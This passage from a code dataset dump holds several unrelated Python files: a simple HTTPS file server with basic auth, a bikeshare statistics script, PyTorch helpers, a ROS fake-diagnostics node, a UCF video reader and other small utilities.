item['image_urls']\n        # 循环下载文章下的图片\n        print(\"======== 开始保存图片 NO.\"+ str(self.success_count) + \"： 总数\" + str(len(image_urls)))\n        for index, image_url in enumerate(image_urls):\n            print(\"======== 图片保存进度\" + \"： \" + str(index) + ' / ' + str(len(image_urls)))\n            oss_path = self.create_oss_path(image_url, 'a')\n            oss_url = self.oss.upload(oss_path, image_url)\n            item['content'] = item['content'].replace(image_url, oss_url)\n\n        # 一篇文章下的所有图片下载完成\n        self.success_count += 1\n        print(\"======== 成功保存完图片 NO.\" + str(self.success_count) + \" ：\" + item['title'])\n        return item\n\n    def create_oss_path(self, url, oss_dir):\n        # 构建OSS保存地址\n        current_at = time.strftime(\"%Y%m%d\", time.localtime())\n        if oss_dir:\n            oss_path = os.path.join(self.oss_path, oss_dir, current_at)\n        else:\n            oss_path = os.path.join(self.oss_path, current_at)\n        file_suffix = url.split('=')\n        if len(file_suffix) > 1:\n            file_suffix = file_suffix[-1]\n        else:\n            file_suffix = 'jpg'\n        file_name = str(uuid.uuid1())\n        file_name = file_name + '.' + file_suffix\n        oss_path = os.path.join(oss_path, file_name)\n        return oss_path\n\n\n","sub_path":"weixin_article/weixin_article/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"387806012","text":"import shutil\nfrom pathlib import Path\n\nEOL_UNIX = b\"\\n\"\nEOL_WIN = b\"\\r\\n\"\nEOL_MAC = b\"\\r\"\n\n\ndef bootstrap_development_distribution(project_name: str, dest_dir: Path):\n    \"\"\"Bootstraps a stripped down version of the active library\n\n    This function avoids a recursive copy of itself and ignores\n    several unnecessary files and directories\n    \"\"\"\n    src_dir = Path(__file__).parent.parent.absolute()\n    print(f\"Bootstrap: {src_dir} -> {dest_dir}\")\n    shutil.copytree(\n        src_dir,\n        dest_dir,\n        ignore=shutil.ignore_patterns(\n            project_name.lower(),\n            \".git\",\n            \"build\",\n            \"dist\",\n            \"docs\",\n            \".pytest_cache\",\n            \".eggs\",\n            \"templates\",\n            \"__pycache__\",\n        ),\n    )\n\n\ndef convert_line_endings():\n    \"\"\" Enforce unix line endings for the generated files \"\"\"\n    files = []\n    for ext in [\n        \".py\",\n        \".sh\",\n        \"Dockerfile\",\n        \".txt\",\n        \".csv\",\n        \".mhd\",\n        \".gitignore\",\n    ]:\n        files.extend(Path(\".\").glob(f\"**/*{ext}\"))\n\n    for file in files:\n        with open(str(file), \"rb\") as f:\n            lines = f.read()\n\n        lines = lines.replace(EOL_WIN, EOL_UNIX).replace(EOL_MAC, EOL_UNIX)\n\n        with open(str(file), \"wb\") as f:\n            f.write(lines)\n","sub_path":"evalutils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"489751560","text":"#!/usr/bin/env python3\n\nimport argparse\nimport http.server\nimport ssl\nfrom pathlib import Path\nfrom os import chdir,remove\nimport os\nfrom OpenSSL import crypto, SSL\nfrom random import randint\nfrom base64 import b64encode, b64decode\nimport pdb\nfrom http import HTTPStatus\nimport urllib.parse\n\nclass ArgumentError(BaseException):\n    pass\n\ndef suffix(st,suf='[+]'):\n    return f'{suf} {st}'\n\ndef sprint(s):\n    print(suffix(s))\n\nclass BasicAuthServer(http.server.HTTPServer):\n\n    def __init__(self, username, password, *args, **kwargs):\n        self.key = str(b64encode(bytes(f'{username}:{password}','utf-8')),'utf-8')\n        super().__init__(*args,**kwargs)\n\nclass CorsHandler(http.server.SimpleHTTPRequestHandler):\n\n    # Stolen directly from http.server.SimpleHTTPRequestHanlder because I couldn't\n    # find a simple way to add an Access-Control-Allow-Origin headers since this\n    # overridden method assembles the preliminary response and headers\n    def send_head(self):\n        \"\"\"Common code for GET and HEAD commands.\n        This sends the response code and MIME headers.\n        Return value is either a file object (which has to be copied\n        to the outputfile by the caller unless the command was HEAD,\n        and must be closed by the caller under all circumstances), or\n        None, in which case the caller has nothing further to do.\n        \"\"\"\n\n        path = self.translate_path(self.path)\n        f = None\n        if os.path.isdir(path):\n            parts = urllib.parse.urlsplit(self.path)\n            if not parts.path.endswith('/'):\n                # redirect browser - doing basically what apache does\n                self.send_response(HTTPStatus.MOVED_PERMANENTLY)\n                new_parts = (parts[0], parts[1], parts[2] + '/',\n                             parts[3], parts[4])\n                new_url = urllib.parse.urlunsplit(new_parts)\n                self.send_header(\"Location\", new_url)\n                self.end_headers()\n                return None\n            for index in \"index.html\", \"index.htm\":\n                index = os.path.join(path, index)\n                if os.path.exists(index):\n                    path = index\n                    break\n            else:\n                return self.list_directory(path)\n        ctype = self.guess_type(path)\n        # check for trailing \"/\" which should return 404. See Issue17324\n        # The test for this was added in test_httpserver.py\n        # However, some OS platforms accept a trailingSlash as a filename\n        # See discussion on python-dev and Issue34711 regarding\n        # parseing and rejection of filenames with a trailing slash\n        if path.endswith(\"/\"):\n            self.send_error(HTTPStatus.NOT_FOUND, \"File not found\")\n            return None\n        try:\n            f = open(path, 'rb')\n        except OSError:\n            self.send_error(HTTPStatus.NOT_FOUND, \"File not found\")\n            return None\n\n        try:\n            fs = os.fstat(f.fileno())\n            # Use browser cache if possible\n            if (\"If-Modified-Since\" in self.headers\n                    and \"If-None-Match\" not in self.headers):\n                # compare If-Modified-Since and time of last file modification\n                try:\n                    ims = email.utils.parsedate_to_datetime(\n                        self.headers[\"If-Modified-Since\"])\n                except (TypeError, IndexError, OverflowError, ValueError):\n                    # ignore ill-formed values\n                    pass\n                else:\n                    if ims.tzinfo is None:\n                        # obsolete format with no timezone, cf.\n                        # https://tools.ietf.org/html/rfc7231#section-7.1.1.1\n                        ims = ims.replace(tzinfo=datetime.timezone.utc)\n                    if ims.tzinfo is datetime.timezone.utc:\n                        # compare to UTC datetime of last modification\n                        last_modif = datetime.datetime.fromtimestamp(\n                            fs.st_mtime, datetime.timezone.utc)\n                        # remove microseconds, like in If-Modified-Since\n                        last_modif = last_modif.replace(microsecond=0)\n\n                        if last_modif <= ims:\n                            self.send_response(HTTPStatus.NOT_MODIFIED)\n                            self.end_headers()\n                            f.close()\n                            return None\n\n            self.send_response(HTTPStatus.OK)\n            self.send_header(\"Content-type\", ctype)\n            self.send_header(\"Content-Length\", str(fs[6]))\n            self.send_header(\"Last-Modified\",\n                self.date_time_string(fs.st_mtime))\n            # Adding Access-Control-Allow-Origin header\n            self.send_header('Access-Control-Allow-Origin','*')\n            self.end_headers()\n            return f\n        except:\n            f.close()\n            raise\n\nclass BasicAuthHandler(CorsHandler):\n    \n    def do_HEAD(self):\n        self.send_response(200)\n        self.send_header('Content-Type', 'text/html')\n        self.end_headers()\n\n    def do_AUTHHEAD(self):\n        self.send_response(401)\n        self.send_header('WWW-Authenticate', 'Basic realm=\"simple_https_server\", charset=\"UTF-8\"')\n        self.send_header('Content-Type', 'text/html')\n        self.end_headers()\n\n    def do_GET(self):\n        if not self.headers.get('Authorization'):\n            self.do_AUTHHEAD()\n            self.wfile.write(bytes('No Authorization header received.','utf-8'))\n        elif self.headers.get('Authorization') == f'Basic {self.server.key}':\n            super().do_GET()\n        else:\n            self.do_AUTHHEAD()\n            self.wfile.write(bytes(self.headers.get('Authorization'),'utf-8'))\n            self.wfile.write(bytes('Not authenticated','utf-8'))\n\ndef run_server(interface, port, keyfile, certfile, \n        webroot=None, *args, **kwargs):\n\n    webroot=webroot or '.'\n    \n    server_address = (interface, port)\n\n    # set up basic authentication if credentials are supplied\n    if kwargs['basic_username']:\n\n        assert kwargs['basic_username'] and kwargs['basic_password'],(\n            ''''basic_username and basic_password are required\n            for basic authentication'''\n        )\n\n        httpd = BasicAuthServer(kwargs['basic_username'],\n                kwargs['basic_password'],\n                server_address,\n                BasicAuthHandler)\n\n    # just do a regular https server if no credentials are supplied\n    else:\n\n        httpd = http.server.HTTPServer(server_address,\n                CorsHandler)\n    \n\n    # wrap the httpd socket in ssl\n    httpd.socket = ssl.wrap_socket(httpd.socket,\n        server_side=True,\n        certfile=certfile,\n        keyfile=keyfile,\n        ssl_version=ssl.PROTOCOL_TLSv1)\n\n    chdir(webroot)\n\n    try:\n        sprint(\"Running https server\")\n        sprint(\"CTRL^C to exit\")\n        sprint(\"Log records below\")\n        print()\n        httpd.serve_forever()\n    except KeyboardInterrupt:\n        print()\n        sprint(\"CTRL^C caught\")\n        sprint(\"Shutting down the server...\")\n        httpd.shutdown()\n        sprint(\"Exiting\")\n        print()\n    finally:\n        if kwargs['generate']:\n            remove('/tmp/self_signed.crt')\n            remove('/tmp/self_signed.key')\n\ndef generate_certificate(certfile, keyfile):\n\n    sprint(\"Generating self signed certificate\")\n\n    # create a key pair\n    k = crypto.PKey()\n    k.generate_key(crypto.TYPE_RSA, 1024)\n\n    # create a self-signed cert\n    cert = crypto.X509()\n    cert.get_subject().C  = \"US\"\n    cert.get_subject().ST = str(randint(1,10000000))\n    cert.get_subject().L  = \"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\"\n    cert.get_subject().O  = \"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\"\n    cert.get_subject().OU = \"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD\" \n    cert.get_subject().CN = \"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\"\n    cert.set_serial_number(1000)\n    cert.gmtime_adj_notBefore(0)\n    cert.gmtime_adj_notAfter(10*365*24*60*60)\n    cert.set_issuer(cert.get_subject())\n    cert.set_pubkey(k)\n    cert.sign(k, 'sha256')\n\n    sprint(\"Writing certificate and keyfile to disk\")\n\n    open(certfile, \"wb\").write(\n        crypto.dump_certificate(crypto.FILETYPE_PEM, cert))\n    open(keyfile, \"wb\").write(\n        crypto.dump_privatekey(crypto.FILETYPE_PEM, k))\n\nif __name__ == '__main__':\n\n\n    parser = argparse.ArgumentParser(prog=\"SimpleHTTPSServer\",\n        description=\"Start a listening HTTPS server.\")\n\n    server_group = parser.add_argument_group('Basic Server Configuration',\n        '''Use the following parameters to apply basic server\n        configurations''')\n    server_group.add_argument('--interface', '-i', required=True,\n        help=\"Interface/IP address the server will bind to.\")\n    server_group.add_argument('--port', '-p', default=443, type=int,\n        help=\"Port the server will listen on.\")\n    server_group.add_argument('--webroot','-wr',\n        default='.',\n        help='Directory from which to serve files.')\n\n    cert_group = parser.add_argument_group('x509 Certificate Configuration',\n        '''Use the following parameters to configure the HTTPS certificate\n        ''')\n    cert_group.add_argument('--certfile', '-c', default=None,\n        help=\"Certificate file for the server to use\")\n    cert_group.add_argument('--keyfile', '-k', default=None,\n        help=\"Keyfile corresponding to certificate file\")\n    \n    # certificate defaults\n     # used for certificate generation\n    certfile = '/tmp/self_signed.crt'\n    keyfile = '/tmp/self_signed.key'\n    cert_group.add_argument('--generate', '-g', default=None, action='store_true',\n        help=\"Generate and use a self-signed certificate in /tmp.\")\n    cert_group.add_argument('--gcertfile', default=certfile,\n        help=\"Path to certificate file to be generated.\")\n    cert_group.add_argument('--gkeyfile', default=keyfile,\n        help=\"Path to keyfile to be generated.\")\n\n    auth_arg_group = parser.add_argument_group('Basic Authentication',\n        '''Use the following parameters to configure the server to use\n        basic authentication.\n        ''')\n    auth_arg_group.add_argument('--basic-username','-bu',\n        help='Username for basic authentication')\n    auth_arg_group.add_argument('--basic-password','-pu',\n        help='Password for basic authentication')\n\n    args = parser.parse_args()\n    \n    # handle basic auth credentials\n    if args.basic_username and not args.basic_password or (\n        args.basic_password and not args.basic_username):\n        raise ArgumentError(\"\"\"Script requires a username and password for\n        basic authentication\"\"\")\n\n    # assure certificate arguments are as expected\n    if not args.certfile and not args.keyfile and not args.generate:\n        raise ArgumentError(\n        \"\"\"Script requires either --generate to be set or both of arguments\n        for the --certfile and --keyfile parameters.\"\"\")\n    elif args.certfile and args.keyfile and args.generate:\n        raise ArgumentError(\n        \"\"\"Script requires either arguments for the certfile and keyfile\n        parameters or, alternatively, the generate argument; not both\"\"\")\n\n    if args.webroot != '.':\n\n        p = Path(args.webroot)\n\n        if not p.exists():\n            raise ArgumentError('''Path to webroot does not exist\n            ''')\n        elif not p.is_dir():\n            raise ArgumentError('''Webroot is not a directory\n            ''')\n\n    print()\n    print(parser.prog)\n    print()\n    sprint(\"Arguments validated successfully\")\n\n\n    if args.generate:\n        generate_certificate(certfile, keyfile)\n        args.certfile = certfile\n        args.keyfile = keyfile\n\n    run_server(**args.__dict__)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":11723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"105145399","text":"import os\nfrom PIL import Image\nfrom PIL import ImageSequence\nfrom PIL import TiffImagePlugin\n\nsetdpi=(300,300)\ndimensions=(1200,1552)\nFILELIST=os.listdir('original')\n\nfor FINPUT in FILELIST:\n    print ('Resizing '+str(FINPUT)+' ...')\n    pages = []\n    imagehandler = Image.open('original\\\\'+str(FINPUT))\n    for page in ImageSequence.Iterator(imagehandler):\n        new_size = dimensions\n        page = page.resize(new_size, Image.ANTIALIAS)\n        pages.append(page)\n    print ('Writing '+str(FINPUT)+' ...')\n    with TiffImagePlugin.AppendingTiffWriter('converted\\\\'+FINPUT) as tf:\n        for page in pages:\n            page.save(tf, compression=\"tiff_lzw\", dpi=setdpi)\n            tf.newFrame()\n","sub_path":"tiff_modifier.py","file_name":"tiff_modifier.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"83912172","text":"from pupa.scrape import Organization\n\nfrom utils import CanadianJurisdiction\n\n\nclass RichmondHill(CanadianJurisdiction):\n    classification = \"legislature\"\n    division_id = \"ocd-division/country:ca/csd:3519038\"\n    division_name = \"Richmond Hill\"\n    name = \"Richmond Hill Town Council\"\n    url = \"http://www.town.richmond-hill.on.ca\"\n\n    def get_organizations(self):\n        organization = Organization(self.name, classification=self.classification)\n\n        organization.add_post(role=\"Mayor\", label=self.division_name, division_id=self.division_id)\n        for seat_number in range(1, 3):\n            organization.add_post(\n                role=\"Regional Councillor\",\n                label=\"{} (seat {})\".format(self.division_name, seat_number),\n                division_id=self.division_id,\n            )\n        for ward_number in range(1, 7):\n            organization.add_post(\n                role=\"Councillor\",\n                label=\"Ward {}\".format(ward_number),\n                division_id=\"{}/ward:{}\".format(self.division_id, ward_number),\n            )\n\n        yield organization\n","sub_path":"ca_on_richmond_hill/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"200339559","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution:\n    # @param {TreeNode} root\n    # @return {integer}\n    def maxToNode(self, node):\n        \n        if not node:\n            return 0\n            \n        l = max(0, self.maxToNode(node.left))\n        r = max(0, self.maxToNode(node.right))\n        \n        self.output = max(self.output, node.val + l + r)\n        \n        return node.val + max(l, r)\n    \n    def maxPathSum(self, root):\n        \n        if not root:\n            return 0\n        \n        self.output = root.val\n        \n        self.maxToNode(root)\n        \n        return self.output\n","sub_path":"124-binaryTreeMaxPathSum.py","file_name":"124-binaryTreeMaxPathSum.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"264689588","text":"import time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n              'new york city': 'new_york_city.csv',\n              'washington': 'washington.csv' }\n\ndef get_filters():\n    \"\"\"\n    Asks user to specify a city, month, and day to analyze.\n\n    Returns:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    print('\\nHello! Let\\'s explore some US bikeshare data! We will be exploring data from 3 cities: Chicago, New York City and Washington')\n    # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n\n    while True:\n        city = input(\"\\nWhich city would you like to learn about? Chicago, New York City or Washington? Type the name below\\n\")\n        city = city.lower()\n        if city not in ('chicago','new york city','washington'):\n            print(\"Sorry try again, please type in from the choices in the question below\")\n            continue\n        else:\n            break\n\n    # TO DO: get user input for month (all, january, february, ... , june)\n\n    while True:\n        month = input(\"\\nWhich month would you like to see the data from? The data is available only for the following periods: January, February, March, April, May, June or All\\n\")\n        month = month.lower()\n        if month not in ('january', 'february', 'march', 'april', 'may', 'june', 'all'):\n            print(\"Sorry, please type in from the choices in the question below\")\n            continue\n        else:\n            break\n\n    # TO DO: get user input for day of week (all, monday, tuesday, ... sunday)\n\n    while True:\n        day = input(\"\\nWhich day would you like to see the data from? Please type in from the following choices: Sunday, Monday, Tuesday, Wednesday, Thursday, Firday, Saturday or All\\n\")\n        day = day.lower()\n        if day not in('sunday','monday','tuesday','wednesday','thursday','friday','saturday','all'):\n            print (\"Sorry, please type in from the choices in the question below\")\n            continue\n        else:\n            break\n\n    print('-'*40)\n    return city, month, day\n\n\ndef load_data(city, month, day):\n    \"\"\"\n    Loads data for the specified city and filters by month and day if applicable.\n\n    Args:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    Returns:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"\n    #load data file into a dataframe\n    df = pd.read_csv(CITY_DATA[city])\n\n    #convert the Start Time column to datetime\n    df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n    #extract month, day of week, and hour from Start Time to create new columns\n    df['month'] = df['Start Time'].dt.month\n    df['day_of_week']=df['Start Time'].dt.weekday_name\n    df['hour'] = df['Start Time'].dt.hour\n\n    #filter by month if applicable\n    if month != 'all':\n        months = ['january','february','march','april','may','june']\n        month = months.index(month)+1\n\n        #filter by month to create the new dataframe\n        df = df[df['month'] == month]\n\n    #filter by day of week if applicable\n    if day != 'all':\n\n        #filter by day of week to create the new dataframe\n        df = df[df['day_of_week'] == day.title()]\n\n    return df\n\n\ndef time_stats(df):\n    \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\n    start_time = time.time()\n\n    # TO DO: display the most common month\n    common_month = df['month'].mode()[0]\n    print(\"The most common month is:\",common_month)\n\n    # TO DO: display the most common day of week\n    common_day = df['day_of_week'].mode()[0]\n    print(\"The most common day is:\",common_day)\n\n    # TO DO: display the most common start hour\n    common_hour = df['hour'].mode()[0]\n    print(\"The most common hour is:\",common_hour)\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef station_stats(df):\n    \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\n    start_time = time.time()\n\n    # TO DO: display most commonly used start station\n    popular_start = df['Start Station'].mode()[0]\n    print(\"The most popular start station is: \",popular_start)\n\n    # TO DO: display most commonly used end station\n    popular_end = df['End Station'].mode()[0]\n    print(\"The most popular end station is: \",popular_end)\n\n    # TO DO: display most frequent combination of start station and end station trip\n    df['start_end_stations'] = df['Start Station'] + \"-to-\" + df['End Station']\n    popular_start_end = df['start_end_stations'].mode()[0]\n    print(\"The most popular starting and ending stations are: \",popular_start_end)\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef trip_duration_stats(df):\n    \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n    print('\\nCalculating Trip Duration...\\n')\n    start_time = time.time()\n\n    # TO DO: display total travel time\n    total_travel_time = df['Trip Duration'].sum()\n    print(\"The total travel time in days is: \", round(total_travel_time/86400,2))\n\n    # TO DO: display mean travel time\n    mean_travel_time = df['Trip Duration'].mean()\n    print(\"The mean travel time in minutes is: \", round(mean_travel_time/60,2))\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef user_stats(df):\n    \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n    print('\\nCalculating User Stats...\\n')\n    start_time = time.time()\n\n    # TO DO: Display counts of user types\n    user_types = df['User Type'].value_counts()\n    print(\"Types of users:\\n\", user_types)\n\n    # TO DO: Display counts of gender\n    if 'Gender' in df.columns:\n        gender = df['Gender'].value_counts()\n        print(\"\\nBreakdown of gender:\\n\",gender)\n    else:\n        print(\"\\nGender data is not available for this city\")\n\n    # TO DO: Display earliest, most recent, and most common year of birth\n    if 'Birth Year' in df.columns:\n        earliest_birth = df['Birth Year'].min()\n        recent_birth = df['Birth Year'].max()\n        common_birth = df['Birth Year'].mode()[0]\n        print(\"\\nThe earliest birth year is: \", int(earliest_birth))\n        print(\"The most recent birth year is: \", int(recent_birth))\n        print(\"The most common birth year is: \",int(common_birth))\n    else:\n        print(\"\\nBirth year data is not available for this city\")\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\ndef main():\n    while True:\n        city, month, day = get_filters()\n        df = load_data(city, month, day)\n\n        time_stats(df)\n        station_stats(df)\n        trip_duration_stats(df)\n        user_stats(df)\n\n        #displays 5 rows of raw data, if user iputs yes, will continue to display additional 5 rows of data until user inputs no\n        index = 0\n        while True:\n            display_rawdata = input(\"Would you like to view 5 rows of raw data?\\n\")\n            display_rawdata = display_rawdata.lower()\n            if display_rawdata == 'yes':\n                raw_data=df.iloc[index:index+5]\n                print(raw_data)\n                index+=5\n            else:\n                break\n\n        restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n        if restart.lower() != 'yes':\n            break\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":7817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"580599129","text":"import torch.nn as nn\nimport torch.nn.functional as F\n\n__all__ = ['Conv2dWithNorm', 'UpSample2d']\n\n\nclass Conv2dWithNorm(nn.Conv2d):\n    \"\"\"\n    Conv2d module that also applies given normalization module.\n    \"\"\"\n    def __init__(self, *args, **kargs):\n        norm = kargs.pop('norm', None)\n        super().__init__(*args, **kargs)\n        self.norm = norm\n\n    def forward(self, x):\n        h = super().forward(x)\n        if self.norm is not None:\n            h = self.norm(h)\n        return h\n\n\nclass UpSample2d(nn.Module):\n    \"\"\"\n    UpSample2d module that upscale inputs to a given size.\n    \"\"\"\n    def __init__(self, size, mode='bilinear', align_corners=True):\n        super(UpSample2d, self).__init__()\n        self.size = size\n        self.mode = mode\n        self.align_corners = align_corners\n\n    def forward(self, x):\n        return F.interpolate(x,\n                             size=self.size,\n                             mode=self.mode,\n                             align_corners=self.align_corners)\n","sub_path":"models/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"397491435","text":"from pico2d import *\nimport gfw\nimport gobj\nimport menu_state\n\ncanvas_width = menu_state.canvas_width\ncanvas_height = menu_state.canvas_height\n\ndef build_world():\n    gfw.world.init(['bg', 'ui'])\n\n    center = (canvas_width//2, canvas_height//2)\n    bg = gobj.ImageObject('logo.png', center,canvas_width,canvas_height)\n    gfw.world.add(gfw.layer.bg, bg)\n\n    # Button(l, b, w, h, font, text, callback, btnClass=None):\n    font = gfw.font.load(gobj.res('Tekton-Bold.otf'), 40)\n\n    global lobby_sound, select_sound\n    lobby_sound = load_wav('res/wav/lobbydrum.wav')\n    lobby_sound.set_volume(20)\n    lobby_sound.play()\n    select_sound = load_wav('res/wav/menu_enter.wav')\n\ndef enter():\n    build_world()\n\ndef update():\n    gfw.world.update()\n\ndef draw():\n    gfw.world.draw()\n    \ndef handle_event(e):\n    # prev_dx = boy.dx\n    if e.type == SDL_QUIT:\n        return gfw.quit()\n    elif e.type == SDL_KEYDOWN:\n        if e.key == SDLK_ESCAPE:\n            return gfw.pop()\n        elif e.key == SDLK_a:\n            gfw.change(menu_state)\n\ndef exit():\n    global lobby_sound, select_sound\n\n    del lobby_sound\n    del select_sound\n\ndef pause():\n    pass\n\ndef resume():\n    build_world()\n\nif __name__ == '__main__':\n    gfw.run_main()\n","sub_path":"기말 프로젝트/main/logo_state.py","file_name":"logo_state.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"150965632","text":"# -*- coding: utf-8 -*-\n\"\"\"WTForms extensions for Tornado.\"\"\"\nfrom wtforms import compat\n\n\nversion_tuple = (0, 0, 3)\n\n\ndef get_version_string():\n    if isinstance(version_tuple[-1], compat.string_types):\n        return '.'.join(map(str, version_tuple[:-1])) + version_tuple[-1]\n    return '.'.join(map(str, version_tuple))\n\nversion = get_version_string()\n\"\"\"Current version of wtforms-tornado.\"\"\"\n\n__author__ = 'Quinn <wkf928592@gmail.com>'\n__since__ = '2019-10-11'\n__version__ = version\n\n\nfrom wtforms_tornado.form import Form\n","sub_path":"wtforms_tornado/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"217489576","text":"# malabanan, angelo - perez, eric\n# 2-ece-a\n# ece2112 machine problem 1 (python solution)\n\nimport matplotlib.pyplot as plt\n\ndef f(n):\n    \n   if n <= 9:\n     return n * n-7\n    \n   return f(n-10)\n\nX = []\nY = []\n    \nfor a in range (0,100):\n   X.append(a)\n   Y.append(f(a))\n    \nplt.stem(X,Y)\n    \nplt.title('Graph of f(n)')\nplt.xlabel('X-Axis')\nplt.ylabel('Y-Axis')","sub_path":"MP1_PY_MALABANAN-PEREZ.py","file_name":"MP1_PY_MALABANAN-PEREZ.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"607430642","text":"#!/usr/bin/python\n#################################################################\n##\\file\n#\n# \\note\n#   Copyright (c) Felix Messmer \\n\n#   Fraunhofer Institute for Manufacturing Engineering\n#   and Automation (IPA) \\n\n#\n#   All rights reserved. \\n\\n\n#\n#################################################################\n#\n# \\note\n#   Repository name: cob_command_tools\n# \\note\n#   ROS package name: cob_helper_tools\n#\n# \\author\n#   Author: Felix Messmer\n#\n# \\date Date of creation: January 2017\n#\n# \\brief\n#   A script for faking diagnostics\n#\n#################################################################\n\nimport rospy\nfrom diagnostic_msgs.msg import DiagnosticArray, DiagnosticStatus\n\nclass FakeDiagnostics():\n    def __init__(self, options):\n        self._options = options\n        self._last_publish_time = 0\n        self._fake_diag_pub = rospy.Publisher('/diagnostics', DiagnosticArray, queue_size=1)\n        rospy.Timer(rospy.Duration(1.0), self.publish_stats)\n\n    def publish_stats(self, event):\n        msg = DiagnosticArray()\n        msg.header.stamp = rospy.get_rostime()\n        # Add all fake\n        hostname_list = self._options.diag_hostnames.split(\", \")\n        for hostname in hostname_list:\n            status = DiagnosticStatus()\n            status.name = hostname\n            status.level = DiagnosticStatus.OK\n            status.message = \"fake diagnostics\"\n            status.hardware_id = hostname\n            msg.status.append(status)\n\n        self._fake_diag_pub.publish(msg)\n\nif __name__ == '__main__':\n\n    import optparse\n    parser = optparse.OptionParser(usage=\"usage: fake_diagnostics.py [--diag-hostnames=hostname1, hostname2, ...]\")\n    parser.add_option(\"--diag-hostnames\", dest=\"diag_hostnames\",\n                      help=\"Fake Diagnostics\")\n    options, args = parser.parse_args(rospy.myargv())\n\n    rospy.init_node('fake_diagnostics')\n\n    fake_diagnostics = FakeDiagnostics(options)\n\n    rospy.spin()\n","sub_path":"cob_helper_tools/scripts/fake_diagnostics.py","file_name":"fake_diagnostics.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"310450334","text":"import numpy as np\nimport cv2\nimport os\nfrom tqdm import tqdm\n\nclass VideoReader:\n\n    def __init__(self, depth, height, width, color, factor):\n        self.width = width\n        self.height = height\n        self.depth = depth\n        self.color = color\n        self.factor = factor\n        self.label_dict = {}\n        self.train_set = set()\n        self.test_set = set()\n        self.read_ucf_labels('ucfTrainTestlist/classInd.txt')\n        self.read_train_test_split('ucfTrainTestlist/trainlist01.txt', 'ucfTrainTestlist/testlist01.txt')\n\n    def read_ucf_labels(self, filename):\n        with open(filename, 'r') as f:\n            for line in f:\n                words = line.strip('\\n').split()\n                self.label_dict[words[1].lower()] = int(words[0]) - 1\n\n    def read_train_test_split(self, filename_train, filename_test):\n        with open(filename_train, 'r') as f:\n            for line in f:\n                self.train_set.add(line.strip('\\n').split()[0].split('/')[-1])\n        with open(filename_test, 'r') as f:\n            for line in f:\n                self.test_set.add(line.strip('\\n').split()[0].split('/')[-1])\n\n    def get_ucf_classname(self, filename):\n        print(filename)\n        return self.label_dict[filename.split('_')[1].lower()]\n\n    def read(self, filename):\n        cap = cv2.VideoCapture(filename)\n        nframe = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n        framearray = []\n        nframe = nframe - nframe % self.depth\n        for i in range(nframe):\n            cap.set(cv2.CAP_PROP_POS_FRAMES, i)\n            ret, frame = cap.read()\n            # Convert to RGB space\n            # By default, opencv reads the image in BGR mode\n            frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n            if not self.color:\n                frame = cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY)\n                frame = 